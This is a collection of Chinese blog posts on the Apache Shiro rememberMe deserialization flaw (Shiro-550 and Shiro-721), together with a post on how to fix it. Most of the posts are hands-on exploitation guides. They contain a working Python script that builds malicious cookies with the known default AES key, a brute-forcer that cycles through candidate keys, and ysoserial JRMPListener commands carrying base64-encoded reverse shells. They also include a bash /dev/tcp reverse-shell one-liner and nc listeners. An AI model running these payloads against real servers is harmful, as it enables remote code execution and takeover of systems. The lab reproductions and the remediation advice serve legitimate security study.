精华内容
下载资源
问答
  • apache shiro反序列化漏洞
    2019-10-11 15:25:05

    Apache shiro反序列化漏洞

    • 爸爸妈妈问你智能手机怎么用的时候,请不要不耐烦,因为他们曾经不厌其烦的教你怎么用筷子。

    漏洞概述:

    • Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码学和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

    漏洞版本:

    -Shiro <1.2.4

    漏洞复现:

    -漏洞搭建:

    Docker pull medicean/vulapps:s_shiro_1
    docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
    
    

    poc:

    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
     
    def encode_rememberme(command):
    
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
     
     
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])
    print "rememberMe={0}".format(payload.decode())
    
    

    修改攻击ip以及vpsip执行生成py,执行

    在这里插入图片描述服务器执行监听反弹shell

    java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "bash -c {echo,Ym}|{base64,-d}|{bash,-i}"
    

    即可反弹shell

    漏洞修复:

    • 升级升级升级。

      余生很长,请多指教。
      在这里插入图片描述

    更多相关内容
  • 项目介绍基于Apache Shiro反序列化漏洞进行利用链的探测,附内存马。利用时需要修改POST请求两处数据,分别为Header头RememberMe字段值和携带的data数据(由于payload设定,data中须指定名字为c的参数值)。探测到...
  • shiro 反序列化漏洞综合利用工具 shiro_attack_by J1anfen,里面的 jar 直接运行即可,用于 shiro 漏洞检测、修复验证等
  • 1.shiro反序列化漏洞、暴力破解漏洞检测工具源码 2.shiro反序列化漏洞、暴力破解漏洞检测工具jar包 3.shiro反序列化漏洞、暴力破解漏洞检测工具启动方法 4.shiro反序列化漏洞、暴力破解漏洞检测工具使用方法 5.shiro...
  • Apache Shiro 反序列化漏洞一、简介二、环境三、漏洞原理四、AES秘钥1、判断AES秘钥五、Shiro rememberMe反序列化漏洞Shiro-550)1、版本1.4.2之前该版本漏洞利用2、版本1.4.2之后该版本漏洞利用六、Shiro Padding...


    欢迎大家关注我的公众号“嘀嗒安全”
    在这里插入图片描述

    shiro漏洞已经曝光很久了,一直没有整理思路与详细步骤,最近在学习java的反序列化,复现该漏洞来方便之后的学习

    一、简介

    Apache Shiro是一款开源企业常见JAVA安全框架,提供身份验证、授权、密码学和会话管理。java中的权限框架有SpringSecurity和Shiro,由于Spring功能强大但复杂,Shiro的简单强大,扩展性好因此用的还是很多。

    二、环境

    kali-2021 攻击机 192.168.8.9

    docker vulhub 192.168.8.6

    vulhub

    cd /vulhub/shiro/CVE-2016-4437
    
    docker-compose up -d
    

    三、漏洞原理

    ​ Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

    1.首先正常登录,然后生成带有rememberme的返回cookie值。
    
    2.生成cookie,shiro会提供rememberme功能,可以通过cookie记录登录用户,从而记录登录用户的身份认证信息,即下次无需登录即可访问。处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager
    
    3.之后进入serialize,对登录认证信息进行序列化
    
    4.然后加密,调用aes算法。
    
    5.加密结束,然后在在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中进行base64编码,并通过response返回
    
    6.解析cookie
    
    7.先解密在反序列化
    
    8.AES是对称加密,加解密密钥都是相同的,并且shiro都是将密钥硬编码
    
    9.调用crypt方法利用密文,key,iv进行解密,解密完成后进入反序列化,看上面的public AbstractRememberMeManager这里用的是默认反序列化类,然后触发生成反序列化。
    

    Shiro 1.2.4版本默认固定密钥:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dtlNv1GT-1640940518692)(shiro.assets/image-20211211224044433.png)]

    Shiro框架默认指纹特征

    • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

    • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

    • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

    • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

    四、AES秘钥

    ​ 在Shiro 1.2.4以及之前的版本中AES加密的秘钥都是默认的编码在代码里的(SHIRO-550),1.2.4以上移除了默认秘钥,需要开发者设置或者默认动态生成,降低了秘钥泄露的风险。

    ​ 但是一些开源的项目内部集成了shiro的二次开发,可能会有低版本shiro的默认秘钥的风险,一些用户搭建环境时会使用网上的教程来快速搭建,直接复制了网上的秘钥,从而造成了秘钥的泄密,引发了反序列化漏洞。

    可以在github上使用命令

    "securityManager.setRememberMeManager(rememberMeManager);Base64.decode(“
    或
    "setCipherKey(Base64.decode(”
    

    1、判断AES秘钥

    ​ 密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段,

    ​ 而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段

    ​ shiro在1.4.2版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来,所以整个AES加解密过程的key就很重要了,正是因为AES使用Key泄漏导致反序列化的cookie可控,从而引发反序列化漏洞。在1.4.2版本后,shiro已经更换加密模式 AES-CBC为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。

    CBC算法的shiro生成payload的关键代码如下,也就是我们通用的生成shiro攻击代码

    ​ python中有实现aes-cbc的算法,通过指定mode为AES-CBC,遍历key,随机生成iv,配合ysoserial的gadget即可生成payload

    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    file_body = pad(file_body)
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
    

    ​ 而在1.4.2以后由于padding oracle的影响,shiro官方把加密方式改为了GCM,所以我们需要更改脚本,添加GCM下的攻击方式去攻击高版本的shiro,通过跟踪代码动态调试可以看出确实是使用GCM加密

    ​ 所以shiro的攻击脚本中的核心代码我们来修改一下,GCM加密不需要padding,但需要一个MAC值(也就是我代码里的tag),这块可以自己跟一下源码,核心代码如下:

    iv = os.urandom(16)    
    cipher = AES.new(base64.b64decode(key), AES.MODE_GCM, iv)              
    ciphertext, tag = cipher.encrypt_and_digest(file_body)     
    ciphertext = ciphertext + tag       
    base64_ciphertext = base64.b64encode(iv + ciphertext)    
    return base64_ciphertext
    

    ​ 密钥集合我这里简单列举了几个,网上流传大量现成的 Shiro 100 Key集合,请自行查找替换。密钥判断脚本如下:

    ​ 输入目标的url,通过判断返回包是否存在Set-Cookie:rememberMe=deleteMe来判断秘钥是否正确

    import base64
    import uuid
    import sys
    import requests
    from Crypto.Cipher import AES
    
    def encrypt_AES_GCM(msg, secretKey):
        aesCipher = AES.new(secretKey, AES.MODE_GCM)
        ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
        return (ciphertext, aesCipher.nonce, authTag)
    
    def encode_rememberme(target):
        keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] 		# 此处简单列举几个密钥
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        mode = AES.MODE_CBC
        iv = uuid.uuid4().bytes
    
        file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
        for key in keys:
            try:
                # CBC加密
                encryptor = AES.new(base64.b64decode(key), mode, iv)
                base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
                res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
                if res.headers.get("Set-Cookie") == None:
                    print("good KEY : " + key)
                    return key
                else:
                    if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                        print("good key:" + key)
                        return key
                # GCM加密
                encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
                base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
                res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)
    
                if res.headers.get("Set-Cookie") == None:
                    print("good KEY:" + key)
                    return key
                else:
                    if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                        print("good key:" + key)
                        return key
                print("good key:" + key)
                return key
            except Exception as e:
                print(e)
    if __name__ == '__main__':
        encode_rememberme(sys.argv[1])
    

    五、Shiro rememberMe反序列化漏洞(Shiro-550)

    1、版本1.4.2之前

    该版本漏洞利用

    ​ 第一步:启动靶机后,访问URL通过burp抓包,判断环境存在shiro,查看返回包中Set-Cookie中是否存在

    ​ 第二步:打开公网vps,执行如下命令:(注意这里监听的端口为1099),并执行反弹shell的命令

    配置maven

    sudo wget  https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
    tar -zxvf apache-maven-3.6.3-bin.tar.gz
    sudo mv apache-maven-3.6.3 /usr/local/maven3
    vim /etc/profile   末尾添加maven环境变量:
    export M2_HOME=/usr/local/maven3
    export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin
    source /etc/profile
    

    下载ysoserial并打包

    git clone https://github.com/frohoff/ysoserial.git
    cd ysoserial
    mvn package -D skipTests
    
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "反弹 shell 的命令"
    

    这里的命令需要使用Java Runtime配置bash编码。
    在线编码转换地址:http://www.jackson-t.ca/runtime-exec-payloads.html
    转换命令如下:(这里是反弹shell的端口为1234)

    bash -i >& /dev/tcp/192.168.8.9/1234 0>&1
    
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjEwMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WLopAX6n-1640940518693)(shiro.assets/image-20211213002541873.png)]

    第三步:最终在VPS上执行的命令如下:

    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjEwMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"
    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "ping e78g5l.dnslog.cn"
    

    在这里插入图片描述
    第四步:使用exp.py生成payload,命令如下:

    python exp.py 192.168.8.9:1099   (注意这里的端口为1099)
    
    import sys 
    import uuid 
    import base64 
    import subprocess 
    from Crypto.Cipher import AES 
    def encode_rememberme(command): 
        #open = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'UTLDNS', command], stdout=subprocess.PIPE)
        #open = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsColllections5', command], stdout=subprocess.PIPE)
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])
        print ("rememberMe={0}".format(payload.decode()))
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PGMnlebv-1640940518694)(shiro.assets/image-20211213004255018.png)]

    第五步:在VPS上,使用nc监听1234端口,命令如下:

    nc -lvvp 1234

    第六步:通过burp抓取任意的http数据包,在cookie中添加生成的payload

    第七步:通过burp发送数据包,查看VPS中java监听接口,nc监听结果。

    2、版本1.4.2之后

    ​ 在Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更换为 AES-GCM,Shiro高版本下的漏洞利用,就需要考虑加密模式变化的情况。另外,这里cookie传递的参数是自定义的,而不是常见的rememberMe,这也是需要注意的地方。

    该版本漏洞利用

    ​ 一个攻击针对脚本,加入的GCM,可以爆破高版本的KEY

    Github项目地址:

    https://github.com/Ares-X/shiro-exploit.git
    

    ​ 首先,我们需要根据目标环境修改python脚本参数,将rememberMe 替换为 xxx_remeberme,使参数能够正常传递。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TQRvhClz-1640940518694)(shiro.assets/image-20211214001640190-1639449183569.png)]

    利用脚本来爆破Shiro key,不指定-v将自动尝试两个版本的爆破

    (-v 1 : CBC加密 -v 2 : GCM加密):

    python shiro-exploit.py check -u http://192.168.8.6/shiro-cas.shtml
    
    python3 shiro-exploit.py check -u http://192.168.8.6/shiro-cas.shtml -v 2
    

    发送回显Payload,获取命令执行结果。

    python shiro-exploit.py echo -g CommonsBeanutils2  -v 2 -k 3AvVhmFLUs0KTA3Kprsdag== -c whoami -u http://10.xxx.xxx.72/shiro-cas.shtml
    

    脚本可能无法显示回显,所以我们可以配置代理去在burp中查看回显

    修改python脚本设置代理,在requests使用代理proxies,增加proxies={‘http’: ‘http://’ + ‘127.0.0.1:8080’}。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2M6wU3Ph-1640940518695)(shiro.assets/image-20211214002216253-1639449183570.png)]

    这样就可以将流量引入BurpSuite,抓取HTTP数据包,手动利用查看回显。

    六、Shiro Padding Oracle Attack(Shiro-721)

    ​ 由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

    1、漏洞利用

    1、登录Shiro网站,从cookie中获得rememberMe字段的值,需要一个知道账号密码的账户。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AdBOrzAV-1640940518696)(shiro.assets/image-20211213220235813.png)]

    2、利用DNSlog探测,通过ysoserial工具payload。

    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class
    

    3、使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。
    github项目地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721
    使用示例:

    java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath
    
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2XTMHxk3-1640940518696)(shiro.assets/image-20211213220305447.png)]

    爆破成功,输出Result:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKMM2Nrp-1640940518697)(shiro.assets/image-20211213220437242.png)]

    4、使用构造的rememberMe攻击字符串重新请求网站

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KbPWA8c6-1640940518697)(shiro.assets/image-20211213220559189.png)]

    5、成功触发Payload,在DNSLog获取到目标IP。

    七、图形化工具

    ShiroExploit:支持对Shiro-550(硬编码秘钥)和Shiro-721(Padding Oracle)的一键化检测,支持简单回显。
    Github项目地址:https://github.com/feihong-cs/ShiroExploit

    Shiro-550,只需输入url,即可完成自动化检测和漏洞利用。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SMHzpqwd-1640940518698)(shiro.assets/image-20211212203153013.png)]

    Shiro-721,需输入url,提供一个有效的rememberMe Cookie

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jmVYojgm-1640940518698)(shiro.assets/image-20211212214031712.png)]

    攻击成功后会显示目标的key,并有一些简单的反弹shell,webshell写入和命令执行的操作[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S5q4paCu-1640940518699)(shiro.assets/image-20211213012622625.png)]

    shiro_attack By j1anFen

    github:https://github.com/j1anFen/shiro_attack

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-99sNeOw9-1640940518699)(shiro.assets/image-20211213021136360.png)]

    希望对大家有所帮助!!!

    展开全文
  • 反序列化漏洞的产生原理,即黑客通过构造恶意的序列化数据,从而控制应用在反序列化过程中需要调用的类方法,最终实现任意方法调用。如果在这些方法中有命令执行的方法,黑客就可以在服务器上执行任意的命令。综合...

    目录

    一、反序列化漏洞介绍

    二、产生原因

    三、解决方案

    方案1:升级shiro至最新版本1.7.1

    方案2:保持shiro版本不变<=1.2.4,修改rememberMe默认密钥

    方案3:禁用rememberMe功能

    四、总结


    一、反序列化漏洞介绍

    序列化:把对象转换为字符串或者字节流的过程。
    反序列化:把字符串或者字节流恢复为对象的过程。
    反序列化漏洞的产生原理,即黑客通过构造恶意的序列化数据,从而控制应用在反序列化过程中需要调用的类方法,最终实现任意方法调用。如果在这些方法中有命令执行的方法,黑客就可以在服务器上执行任意的命令。

    二、产生原因

    shiro提供了记住我(RememberMe)的功能,即可以在关闭浏览器的情况下,下次打开时还能记住你是谁,无需登录即可访问。
    shiro默认使用了CookieRememberMeManager来管理RememberMe cookie, 其处理cookie的流程是:
    1:生成cookie:序列化 => 使用密钥进行AES加密 => Base64编码,最后返回客户端 remebreme Cookie;
    2: 识别cookie:得到rememberMe的cookie值=>Base64解码=>使用密钥进行AES解密=>反序列化。
    这个通过观察shiro1.2.4版本的源代码可以发现,如果不指定密钥,shiro会默认一个初始化密钥,该密钥是被硬编码在代码中,由于代码是开源的,攻击者很容易找到该密钥,并且伪造cookie发起攻击。

    总结:漏洞产生的根本原因是密钥泄露,比如使用网上公开的密钥,也会存在这个问题。

    三、解决方案

    方案1:升级shiro至最新版本1.7.1

            <dependency>
                <groupId>org.apache.shiro</groupId>
                <artifactId>shiro-spring</artifactId>
                <version>1.7.1</version>
            </dependency>
    

    密钥硬编码问题存在于1.2.4版本及以下。通过观察最新版本1.7.1的源代码发现,如果不指定密钥shiro会初始化一个随机密钥,由于密钥是随机生成的,所以攻击者没办法猜测到密钥。
    注意这是在使用shiro默认密钥的情况下,如果应用修改了默认密钥则需要保证该密钥不是公开的,并妥善保管防止泄露。

    测试1.2.4版本升级至1.7.1版本可以互相兼容,无需修改原有代码。

    存在的问题:后台重启后,cookie解密失败,导致remembeMe功能失效。

    原因:由于重启后,会重新生成一个随机密钥,导致重启前生成的密钥和重启后的密钥发生变化导致cookie解密失败。

    elegate RememberMeManager instance of type [org.apache.shiro.web.mgt.CookieRememberMeManager] threw an exception during getRememberedPrincipals().org.apache.shiro.crypto.CryptoException: Unable to execute 'doFinal' with cipher instance [javax.crypto.Cipher@1ac73e7].
    

    方案2:保持shiro版本不变<=1.2.4,修改rememberMe默认密钥

    1.shiro采用xml方式配置(spring+springMVC+xx)

    <!-- 定义Shiro安全管理配置 -->
    	<bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
    		<!-- 指定Shiro验证用户登录的类为自定义的Realm(若有多个Realm,可用[realms]属性代替) -->
    		<property name="realm" ref="systemAuthorizingRealm" />
    		<property name="sessionManager" ref="sessionManager" />
    		<property name="cacheManager" ref="shiroCacheManager" />
    		<!--注入rememberMe cookie管理器-->
        <property name="rememberMeManager" ref="rememberMeManager"/>
    	</bean>
     
    	<!-- rememberMe管理器 -->
    	<bean id="rememberMeManager" class="org.apache.shiro.web.mgt.CookieRememberMeManager">
        <!-- 密钥 调用ShiroCustomAESKeyUtil.getKey()生成 -->
    		 <property name="cipherKey" value="#{T(org.apache.shiro.codec.Base64).decode('WVYw571OG4BehqT7I6J3mA==')}"/>
    	</bean>
    

    2.springboot 项目

    //将自己的验证方式加入容器
        public MyShiroRealm myShiroRealm() {
            MyShiroRealm myShiroRealm = new MyShiroRealm();
            return myShiroRealm;
        }
    
        //权限管理,配置主要是Realm的管理认证
        @Bean
        public SecurityManager securityManager() {
            DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
            securityManager.setRealm(myShiroRealm());
            // 记住我
            securityManager.setRememberMeManager(rememberMeManager());
            return securityManager;
        }
    
        /**
         * 记住我
         */
        public CookieRememberMeManager rememberMeManager() {
            CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
            //密钥 调用ShiroCustomAESKeyUtil.getKey()生成
            String cipherKey= "+h+zZswHRTUerMhr9Dkm2g==";
         cookieRememberMeManager.setCipherKey(org.apache.shiro.codec.Base64
    .decode(cipherKey));
            return cookieRememberMeManager;
        }
    

    密钥生成工具

    import org.apache.shiro.crypto.AesCipherService;
    
    import java.security.Key;
    
    public class ShiroCustomAESKeyUtil {
        public static String getKey(){
            AesCipherService aesCipherService = new AesCipherService();
            Key key = aesCipherService.generateNewKey();
            return java.util.Base64.getEncoder().encodeToString(key.getEncoded());
        }
    }
    

    注意: 应该妥善保存密钥,防止泄露,密钥使用随机生成的,不要copy网上的,否则密钥泄露安全问题依然存在。

    方案3:禁用rememberMe功能

    由于该漏洞是rememberMe功能引起,禁用rememberMe 也可以起到防护作用,如果项目不需要rememberMe功能倒是可以考虑。

    四、总结

    综合考虑建议采用升级shiro版本(方案1)+修改密钥(方案2)的方式。该方式解决默认密钥硬编码的问题,同时也防止重启后密钥改变导致重启前的remeberme cookie失效的问题。

    展开全文
  • Apache Shiro 反序列化漏洞靶场

    千次阅读 2022-02-02 16:28:53
    攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。 2.漏洞简单分析 Shiro提供了一种下次访问时无需再登录就可访问的功能,即“记住我”功能。Shiro对remem

    1.漏洞描述

    Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

    Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

    2.漏洞简单分析

    Shiro提供了一种下次访问时无需再登录就可访问的功能,即“记住我”功能。Shiro对rememberMe的字段做了加密处理,在CookieRememberMeManaer类中将cookie的字段依次进行序列化->AES加密->Base64编码。当需要识别用户身份时,会对cookie中rememberMe字段进行解密,其顺序依次为base64解码->解密AES->反序列化

    在这个过程中,我们发现AES密钥非常关键,但很不幸,密钥被硬编码到了代码中,也就意味着使用shiro组件的业务,其默认的AES密钥都是一样的。因此,攻击者可以构造一个恶意对象,并且进行序列化->AES加密->Base64编码后,作为cookie中rememberMe字段进行发送,Shiro将收到的rememberMe字段进行解码、AES解密、反序列化后,最终执行了一个恶意代码,造成反序列化漏洞。

    3.漏洞验证

    3.1 使用shiro_exploit.py进行利用,尝试写入文件jason123.txt

    python shiro_exploit.py -t 3 -u http://192.168.233.134:8080 -p "touch jason123.txt"

    3.2 登陆到目标靶机,发现文件成功写入,说明漏洞存在。

    4.深度利用

    4.1 尝试深度利用,在kali服务器上使用nc监听6666端口

    nc -lvp 6666

    4.2 使用Base64编码进行加密,保证命令成功执行,防止参数被类破坏。

    https://jackson-t.ca/runtime-exec-payloads.html

    4.3 使用exp执行反弹shell

    python shiro_exploit.py -t 3 -u http://192.168.233.134:8080 -p "bash -c {echo,"YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzEvNjY2NiAwPiYx"}|{base64,-d}|{bash,-i}"

    4.4 成功获取shell,反弹成功

    免责声明

    严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

     

    展开全文
  • 图形界面,该工具支持漏洞检测,请勿用作非法途径,否则后果自负。 Shiro550无需提供rememberMe Cookie,Shiro721需要提供一个有效的rememberMe Cookie 可以手工指定特定的 Key/Gadget/EchoType(支持多选),如果...
  • 客户的QQ头像闪动了,原以为是出了什么新需求临时需要调整,没想到客户反馈的是平台出现了严重漏洞,不敢小视,抄起电脑开弄我根据客户给出的安全厂商反馈的问题,总结如下:1,Shiro反序列化漏洞2,提到了dnslog.cn...
  • Apache Shiro反序列化漏洞利用

    千次阅读 2020-11-21 22:35:37
    Apache Shiro反序列化漏洞利用 原文链接:https://mp.weixin.qq.com/s/6tUPrLGL0qCL01hlCJyWoA ◐关于Shiro Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理. Shiro提供了RememberMe的功能,当...
  • Shiro_exploit用于检测与利用Apache Shiro反序列化漏洞脚本。可以帮助企业发现自身安全漏洞。 工具下载地址:Shiro_Exploit 该脚本通过网络收集到的22个key,利用ysoserial工具中的URLDNS这个Gadget,并结合dnslog...
  • Shiro rememberMe反序列化漏洞Shiro-550) 0x00 漏洞描述 0x01 影响版本 0x02 靶场环境 0x03 漏洞分析 0x04 漏洞特征 0x05 漏洞复现 0x06 反弹shell 0x07 写入webshell Shiro Padding Oracle Attack(Shiro-...
  • Shiro是什么东西? Shiro 是 Java 的一个安全框架,执行身份验证、授权、密码、会话管理 shiro默认使用了...反序列 然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列的RCE漏洞。 ...
  • #Apache Shiro 反序列化漏洞(CVE-20164437)# 一、漏洞简介 Shiro 是 Java 的一个安全框架,执行身份验证、授权、密码、会话管理 shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的...
  • 介绍shiro反序列化漏洞的原理、流程和综合利用工具的使用。
  • (1) cd vulhub/shiro/CVE-2016-4437 切换目录。 (2)docker-compose up -d 启动。 (3)访问: http://192.168.43.128:8080/login;jsessionid=F8C504BD06F484504DDCD30D7410DABF (4)打开ShiroExploit.jar:...
  • Apache Shiro Java 反序列化漏洞分析

    千次阅读 2022-04-06 20:57:17
    Apache Shiro Java 反序列化漏洞分析
  • shiro反序列化漏洞修复

    千次阅读 2022-04-22 13:31:10
    shiro反序列化漏洞修复 前言 解决方案 shiro反序列化漏洞修复 前言 最近项目在进行安全漏洞扫描的时候,出现一个shiro的反序列化漏洞的问题:目标IP站点存在Apache shiro 已知密钥泄露导致的远程代码执行漏洞。...
  • Shiro 1.2.4 反序列Shiro 550、CVE-2016-4437
  • 描述: Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。 Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值...
  • 序列就是将对象转化成字节流,便于保存在内存、文件或者数据库中(保存此对象的状态)。反序列就是将字节流转化为对象。java反序列也类似,某个类只要实现了java.io.Serialization(或者java.io.External...
  • 说明:shiro低版本使用固定默认密钥,有被攻击的风险,可以升级shiro版本,Apache官方已在1.2.5及以上版本中修复此漏洞,但是此方式有依赖冲突的风险。这里说说不升级版本的解决方案,这方案和官方的方案一样,都是...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 705
精华内容 282
关键字:

apache shiro反序列化漏洞